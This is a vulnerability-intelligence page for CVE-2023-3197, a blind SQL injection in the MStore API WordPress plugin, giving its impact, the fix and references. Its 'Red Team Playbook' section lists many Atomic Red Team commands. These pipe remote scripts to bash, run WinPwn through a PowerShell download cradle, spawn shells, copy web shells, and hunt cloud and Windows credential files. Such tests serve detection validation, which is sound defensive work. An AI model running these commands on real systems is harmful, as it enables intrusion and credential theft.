CVE-2023-3197
Overview
This vulnerability is an Unauthenticated Blind SQL Injection affecting the MStore API WordPress plugin up to version 4.0.1. The root cause is insufficient escaping and lack of parameterized queries in the SQL statements constructed using the 'id' parameter. This flaw exists within the plugin's backend API that processes user-supplied input without proper sanitization or prepared statements.
Vulnerability Description
The MStore API plugin for WordPress is vulnerable to Unauthenticated Blind SQL Injection via the 'id' parameter in versions up to, and including, 4.0.1 due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to extract sensitive data from the database, including potentially user credentials or configuration details. No authentication or user interaction is required, and the attack can be performed over the network. This can lead to full compromise of confidentiality, integrity, and availability of the affected system, as reflected by the CVSS vector indicating high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with no privileges or user interaction needed (PR:N/UI:N).
Solution
Users should upgrade the MStore API WordPress plugin to a version later than 4.0.1 where the issue is addressed. The vendor has committed fixes in the code repository, notably in changeset 2929891, which properly sanitize and prepare SQL queries involving the 'id' parameter. Detailed patch and upgrade instructions are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea854ccef7?source=cve) and the WordPress plugin trac link provided.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the MStore API plugin for WordPress arises from an unauthenticated blind SQL injection flaw, specifically linked to the handling of the 'id' parameter. This issue is primarily due to inadequate escaping of user-supplied input and a lack of proper preparation in the SQL queries executed by the plugin. When an attacker manipulates the 'id' parameter, they can inject arbitrary SQL code into the existing queries. This allows them to execute additional SQL commands, potentially leading to unauthorized access to sensitive data stored in the database, such as user credentials, payment information, and other confidential records.
Attack vectors for this vulnerability are particularly concerning, as they do not require authentication. An attacker can exploit this flaw simply by sending crafted requests to the affected WordPress site. For instance, by appending SQL commands to the 'id' parameter in a URL, an attacker can retrieve data from the database without needing any legitimate user credentials. This could be done using automated scripts or tools designed for SQL injection testing, making it accessible even to individuals with limited technical expertise. The exploitation scenarios could range from data theft to complete database compromise, depending on the privileges of the database user associated with the web application.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on the MStore API plugin for e-commerce functionalities. The potential for data breaches poses severe risks, including financial losses, legal repercussions, and damage to brand reputation. Organizations may face regulatory scrutiny if sensitive customer data is exposed, leading to costly fines and remediation efforts. Furthermore, the loss of customer trust can have long-lasting effects on business operations, especially in competitive markets where consumer confidence is paramount.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security assessments, including penetration testing and code reviews, can help identify and remediate such vulnerabilities before they are exploited. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests that attempt SQL injection. Furthermore, developers should adhere to secure coding practices, such as using prepared statements and parameterized queries, to prevent the injection of malicious SQL code. Keeping the MStore API plugin and all other components of the WordPress site up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the unauthenticated blind SQL injection vulnerability in the MStore API plugin represents a critical threat to WordPress sites utilizing this plugin. The ease of exploitation and the potential for severe consequences necessitate immediate attention from both developers and site administrators. By adopting proactive security measures and fostering a culture of security awareness, organizations can significantly reduce their risk exposure and protect their valuable data assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Inspireui | Mstore Api | All |
cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-3197 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea854ccef7?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2929891/mstore-api/trunk/controllers/helpers/vendor-wcfm.php |